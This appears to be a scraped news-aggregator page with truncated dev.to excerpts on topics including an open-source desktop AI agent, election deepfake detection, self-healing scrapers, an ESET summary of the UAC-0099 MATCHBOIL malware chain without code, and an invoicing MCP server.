Last week Kiteworks urged customers to shut down their servers after receiving threat intelligence about a potentially imminent zero-day attack. It lifted that precautionary adviso

Segurança
Interesse
dev.to

I wanted a Cursor-style agent that runs on my own model, so I built one

Disclosure: I'm Ibrahim, the solo developer of OpenPilot. This article was drafted with help from an AI assistant and published on my behalf from the OpenPilot account. It's not related to comma.ai's openpilot driving project, which is a completely different thing. I use AI coding agents a lot, and I really like the way tools like Cursor work: you describe a task, the agent looks at your files, runs commands, fixes things, and you watch it happen. What I wanted was that same experience, but open source and running on my own model, whether that's a hosted API or something local. I looked around for an open-source tool that worked the way I had in mind and couldn't find one that fit. So I built it. It's called OpenPilot. OpenPilot is a desktop app, built with Electron. You give it a model, a folder, and a task. It's not an editor or an IDE, and it's not a Cursor replacement. It's a standalone agent that works inside a project folder you choose. Bring your own model. Any OpenAI-compatible endpoint: a base URL, an API key, a model name. OpenAI, OpenRouter, a local server like Ollama or LM Studio, or your own gateway. A real workspace. The agent can read and edit files in the folder you pick and run shell commands, with streamed output. You stay in control. Tool calls show up as cards in the chat, and sensitive actions wait for you to approve or deny them. Skills. Reusable playbooks the agent can load; type / in the composer. MCP. Connect Model Context Protocol servers and toggle their tools per chat. Memory. Persistent memory settings so the agent can keep useful context between sessions. Token usage. Session and lifetime usage broken down by model, so you can see what things cost. Optional web search. Plug in a TinyFish key if you want the agent to look up current docs. MIT licensed. Read it, fork it, change it. Download the latest build from GitHub Releases (Windows installer or portable exe), or see openpilot.in for the guide. On first launch, onboarding walks you th

IADev
Interesse
dev.to

Detecta Deepfakes Electorales 2026 en 1 segundo y protege tu voto

Deepfakes en las elecciones 2026: cómo detectarlos al instante y proteger tu voto 🎯 Introducción En plena campaña electoral de 2026 los deepfakes políticos ya no son una curiosidad de laboratorio; son armas de desinformación que aparecen en tus feeds en menos de un segundo. La combinación de GANs, modelos de difusión y generación de video en tiempo real está produciendo clips tan reales que, sin una herramienta adecuada, cualquier ciudadano puede ser engañado. En este artículo práctico (≈ 2 800 ‑ 3 200 palabras) aprenderás: La evolución tecnológica que ha llevado a los deepfakes a la calidad cinematográfica. Casos virales que han alterado la opinión pública en España y Latinoamérica. Cómo comparar y usar herramientas de detección en tiempo real. Paso a paso para montar un bot de Telegram que vigile automáticamente los videos que circulan. Checklist rápido, marco legal actualizado y FAQ para que no te quedes con dudas. 1. Evolución tecnológica en 5 minutos Año Técnica Ventaja principal Limitación típica (2026) 2018‑2020 GANs (StyleGAN, DeepFaceLab) Generación rápida de caras realistas Artefactos de textura y parpadeo poco natural 2021‑2023 Autoencoders + FaceSwap Fácil de usar con pocos datos Necesita alineación manual 2024‑2026 Modelos de difusión (Stable Diffusion Video, Imagen Video) Control fino del estilo y luz; fidelidad facial superior Requiere más GPU y tiempo de cómputo, pero los servicios en la nube lo han abarato a resultado.json # 4. Interpreta el JSON (ejemplo de script en Python) import json with open('resultado.json') as f: data = json.load(f) if data['deepfake_score'] > 0.7: print("⚠️ Video sospechoso: probabilidad de deepfake alta") else: print("✅ Video parece genuino") Tip: Integra este script en un cron que revise cada 15 min los archivos nuevos de una carpeta compartida en Google Drive. Elemento Versión mínima Python 3.10 python-telegram-bot 20.3 GPU (opcional) RTX 3060 o superior para detección rápida API de detección Microsoft Video Authenticat

IADev
Interesse
dev.to

I Built Scrapers That Heal Themselves (and Won an NVIDIA DGX Spark)

I Built Scrapers That Heal Themselves (and Won an NVIDIA DGX Spark) Scraper Factory took first place at the WeMakeDevs Zero Downtime Hackathon in San Francisco. On the surface it is a small product: it scrapes about twelve days of TV guide data for Philo, YouTube TV and Sling, ranks the top ten upcoming shows and the top ten upcoming movies, and gives you one click to record each title on Philo. The interesting part is underneath. I wanted scrapers that notice when they break, attempt their own repair, and only accept that repair once it is proven correct. Three tools carried the project, each doing what it is best at: Bright Data for scraping and self-healing, Port as the control plane, and SigNoz for the audit trail. This post walks through how they fit together. Live webapp: scraper-factory-top20.vercel.app github.com/Nitishmane/scraper-factory Every scraper I have built eventually fails. A site ships a redesign, a selector stops matching, and the data either stops arriving or, worse, keeps arriving slightly wrong. Times land in the wrong column, titles swap with descriptions, rows go missing. You usually find out a week later when something downstream looks odd. Most teams treat scrapers as scripts. Scripts don't have owners, health states or an on-call rotation. I wanted each scraper treated like any other production service: state you can see, automation that reacts to that state, and a clear record of every repair. The usual approach to scraping is structural: you find that the airtime lives in div.card > span:nth-child(3) and write that down. That selector says where the data sits, not what it means. Rename a CSS class and it breaks. Reorder the cards and it breaks. The worse case is when it doesn't fail loudly and keeps returning data that is slightly wrong. Bright Data's Scraper Studio builds a collector from a natural language description of the data instead of selectors. That changes what a scraper is: a short paragraph about meaning. A description of me

DevInfra
Interesse
dev.to

MATCHBOIL: UAC-0099 Targets Ukrainian Organizations with Two-Minute C2 Polling and Sandbox Evasion

1. Overview Article Title: MATCHBOIL: New tricks, same old evil intentions Publisher: ESET Research Publication Date: 2026-10-08 Original Source: ESET Research Related Source: The Record Related Malware and Threat Groups: MATCHBOIL, MATCHWOK, LONEPAGE, UAC-0099 Related CVE: None specified Related Products: Windows Severity: High UAC-0099 delivers VBScript via spearphishing links, executes the C# downloader MATCHBOIL to retrieve hex payloads embedded in HTML, and establishes persistence for the MATCHWOK backdoor using scheduled tasks or Run keys. The attacker sends a spearphishing email containing a malicious link. The user manually executes a VBScript inside an archive, which downloads and executes MATCHBOIL. In later variants, sandbox and debugger checks precede C2 communication. When the checks permit execution, C2 communication runs on a two-minute timer. MATCHBOIL collects system information and sends three HTTPS requests to retrieve a numeric value, an HTML-embedded hex payload, and potential payload configuration. It decodes and installs the payload and establishes persistence using a Run key or scheduled task. The method and timing of payload execution vary by version. External attackers targeting Windows endpoints of Ukrainian organizations via email and the web. Users: Victims are prompted to run a VBScript from an archive. Some MATCHBOIL variants display a decoy planner or text-search interface when launched without the arguments that activate their malicious behavior. Administrators: Visible artifacts include WSH processes, WMI queries, three-stage HTTPS requests, scheduled tasks, and the MATCHWOK payload. The user executes the VBScript inside the archive. The endpoint successfully connects to the C2 server via HTTPS and saves and executes the payload. Block mail links, archives, and scripts, and restrict WSH. Prevent C2 communications, payload writes, and the creation of scheduled tasks or Run keys. Installation and persistence of backdoors such as MATCH

Segurança
Interesse
dev.to

Point your AI assistant at your invoices — we shipped an MCP server

FoxyInvoice now speaks MCP — the Model Context Protocol. Connect Claude "Invoice Globex for 10 hours of consulting at $150/hour, due in 30 days." → Created INV-2026-0007 for $1,608.75 ($1,500 + $108.75 CA tax), due Every number in that sentence came from the server, not the model. That's the Try it on a real workspace: FoxyInvoice is free to start — create one at foxyinvoice.com/login and redeem founding code U8B4Z8S87X on the Upgrade page for 6 months of Pro, free, no card. Then Settings → AI assistants → Generate token, and ask Claude to invoice someone. A JSON-RPC endpoint at /api/v1/mcp speaking MCP's Streamable HTTP transport, Tool What it does list_clients Search clients by name or email create_client Create a client list_products List the catalog list_invoices List invoices, filter by status/client get_invoice One invoice, all lines, computed totals create_invoice Create a draft invoice send_invoice Email a draft to its client The SPA authenticates with short-lived JWTs behind httpOnly cookies. Right for The answer is personal access tokens — the same shape GitHub chose: Generated in Settings → AI assistants, shown once, stored only as a SHA-256 hash. The database can't leak what it doesn't have. Presented as Authorization: Bearer foxy_… on every call. No cookies, no handshake state — the server is stateless, so any HTTP client that can POST JSON can drive it. Revocable in one click, checked on every request. A token acts as its user — live. There's no permissions snapshot in the token. Every request re-resolves the user's current roles from the database, so disabling a user or changing their roles takes effect on the very next tool call. Nothing to propagate, no cache to invalidate, no "I removed them and their integration still worked" bug class. JWTs are deliberately not accepted at the MCP endpoint — a short-lived The tempting way to build this is a parallel implementation: tool handlers *_core REST handler ─┐ ├─► clients::create_core(state, auth, body) M

IADev
Interesse